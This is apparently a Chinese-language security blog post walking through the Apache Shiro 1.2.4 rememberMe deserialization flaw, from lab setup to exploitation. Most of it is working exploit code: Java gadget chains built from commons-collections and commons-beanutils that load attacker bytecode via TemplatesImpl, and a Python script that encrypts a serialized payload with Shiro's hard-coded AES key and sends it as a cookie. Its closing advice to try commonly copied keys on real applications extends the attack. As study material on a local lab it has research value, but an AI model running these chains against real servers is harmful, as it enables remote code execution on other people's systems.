JAVA反序列化- Shiro反序列化

发布时间 2023-09-05 17:49:02作者: Jarwu

环境搭建

shiro源码,导入源码后,ideashiro/samples/web进入

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。默认没有版本,会在解析时报错。

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

漏洞原理

Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

  • 获取CookierememberMe的值
  • rememberMe进行Base64解码
  • 使用AES进行解密
  • 对解密的值进行反序列化
    由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

CC链攻击

shiro的依赖中,并没有commons-collections。如果有的话,由于shiro的反序列化重写了resolveClass,导致反序列化时无法加载数组类。也就是只有CC2这条链可以打。但CC2必须要commons-collections4的依赖才可以。所以学习了一下commons-collections3的依赖,拼接一下CC2、3、6链来打。
在测试时,先加入依赖shiro/samples/web/pom.xml

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

关键点在于TiedMapEntry传入的key是可以控制,且会一直走到LazyMap中的transform(key)
image

image

image

这条链就组合成功了。

除了这样打,还可以使用JRMP来进行RMI攻击。

至于最后为什么不能加载数组类。底层是tomcat发序列化实现的类加载是和URLClassLoader类似的加载逻辑。

完整代码

//        CC3
        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field fieldName = c.getDeclaredField("_name");
//        为了满足if判断逻辑
        fieldName.setAccessible(true);
        fieldName.set(templates,"aaa");
//         获取字节码属性
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

//        获取字节码
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

//        CC2
        Transformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

//        CC6
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazy = LazyMap.decorate(map, invokerTransformer);

//        传入key为templates,在LazyMap.get时,可以成功调用
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy,templates );

        HashMap<Object, Object> map2 =  new HashMap<>();


//      类似URLDNS那条链,先不填充,put后再填充,以便序列化时不触发,反序列化时触发
        Class aClass = tiedMapEntry.getClass();
        Field declaredField = aClass.getDeclaredField("map");
        declaredField.setAccessible(true);
        declaredField.set(tiedMapEntry,new HashMap<>());

        map2.put(tiedMapEntry, "bbb");

        declaredField.set(tiedMapEntry,lazy);

        Utils.serialize(map2);

无依赖攻击(CB)

commons-beanutils 1.8.3

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

CB,简化了javabean操作,会自动调用对象上的get属性的函数。

PropertyUtils.getProperty(对象,属性)

在攻击链上,也是组合CC2CC3的链,然后再加上CB自己的东西。

从头来就是
由于TemplatesImpl中有个方法getOutputProperties,刚好符合JavaBean的格式。而在这函数中,刚好如CC3中的一样,调用了newTransformer(),进而就可以调用到后面的defineClass
image

然后就使用CB的调用方式,看谁调用了getProperty

PropertyUtils.getProperty(templates,"outputProperties");

最后就找到BeanComparator.compare函数
image

于是就和CC2的链组合到一起了。链就走完了
需要注意的参数控制是:

  • 新建一个BeanComparator实例时,需要使用传入一个字符串加一个Compare的构造函数,避免shiro反序列化时找不到CC链中的东西。就筛选一下传入既实现Compare接口又实现Serializable的类。(例如:AttrCompare
  • 后面优先队列入口时,可以直接用CC2的方式直接复制粘贴,最后改传入的compare;也可以先什么都不传,等构造好后再传,就相对麻烦点。

完整代码

//        CC3
        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field fieldName = c.getDeclaredField("_name");
//        为了满足if判断逻辑
        fieldName.setAccessible(true);
        fieldName.set(templates,"aaa");
//         获取字节码属性
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

//        获取字节码
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        //        不进行序列化时触发需要的一个属性
//        Field tfactory = c.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

//        CB。注意构造方法,不要将CC链中的东西加入
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());


//        CC2第一种写法,较复杂
/*//        PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的Comparator  
        PriorityQueue<Object> o = new PriorityQueue<>(2,null);//        过 heapify()的 size >>> 1判断逻辑    “2 >>> 1”  0000 0010  -> 0000 0001//        “>>>” 右移 补0 以8位为单位
        o.add(1);        o.add(1);
//        再通过反射填充回装有invokerTransformer的transformingComparator
        Class<? extends PriorityQueue> oClass = o.getClass();
		Field oClassDeclaredField = oClass.getDeclaredField("comparator");
		oClassDeclaredField.setAccessible(true);
		oClassDeclaredField.set(o,beanComparator);
		Field queueField = oClass.getDeclaredField("queue");
		queueField.setAccessible(true);
		Object[] queue = (Object[]) queueField.get(o);
//        queueField.set(o,new Object[]{templates,1});
        queue[0]=templates;        queue[1]=1;*/


//        CC2第二种写法,较简单直接copy,因为最后改回了beanComparator,所以CC中的东西并不会出现。
//        PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
        PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator(new ConstantTransformer(1)));
//        过 heapify()的 size >>> 1判断逻辑    “2 >>> 1”  0000 0010  -> 0000 0001//        “>>>” 右移 补0 以8位为单位
        o.add(templates);
        o.add(1);

//        再通过反射填充回装有invokerTransformer的transformingComparator
        Class<? extends PriorityQueue> oClass = o.getClass();
        Field oClassDeclaredField = oClass.getDeclaredField("comparator");
        oClassDeclaredField.setAccessible(true);
        oClassDeclaredField.set(o,beanComparator);

//        Utils.serialize(o);

注意

  • 调试shiro时,搜索cookie开始
  • cookie中存在jsessionid时,不会读取remeberme的内容
  • 一般检测返回包中的remeberme=deleteme
  • 加密后,没有反序列化特征
  • 直接使用ysoserialCB链时,会因为版本不对而报错,ysoserial里面的CB依赖是1.9.2,而shiro1.2.4使用的是1.8.3

总结

并不是说Shiro>1.2.4版本就一定不存在反序列化漏洞,在平常的安全测试中发现一些应用即使使用高版本的Shiro也会存在问题,因为开发者通过自定义Key的方法又把默认的Key写回去了,或者一些开发者在写代码的时候习惯拷贝网上的一些代码,同时也拷贝了其他人自定义的Key,在进行漏洞测试时可以通过搜索网上常见的自定义的Shiro解密的Key进行测试

附上学习过程中的代码:
https://github.com/Jarwu/java_shiro_learning

参考

其他代码

des加密+request的python脚本

import sys
from datetime import datetime
from Crypto.Cipher import AES
import uuid
import base64
import requests


def get_file_data(filename):
    with open(filename, "rb") as f:
        data = f.read()
        f.close()
    return data


def aes_encode(ser_bin):
    # aes数据分组长度为128 bit
    BS = AES.block_size
    # padding
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # shiro1.2.4 硬编码key
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    # CBC模式
    mode = AES.MODE_CBC
    # 偏移量随机
    iv = uuid.uuid4().bytes
    # 创建加密
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    # 使用密钥进行AES加密 Base64加密
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(ser_bin)))
    return base64_ciphertext.decode("utf-8")


def exp(cipher):
    cookies = {
        'rememberMe': cipher,
    }

    headers = {
        'Host': 'localhost:8080',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Sec-Fetch-Dest': 'document',
        'sec-ch-ua': '"-Not.A/Brand";v="8", "Chromium";v="102"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'Referer': 'http://localhost:8080/samples_web_war/login.jsp',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close',
    }

    requests.get('http://localhost:8080/samples_web_war/', cookies=cookies, headers=headers)


if __name__ == '__main__':

    filename = sys.argv[1]
    exp(aes_encode(get_file_data(filename)))
    print('success:{}'.format(datetime.now()))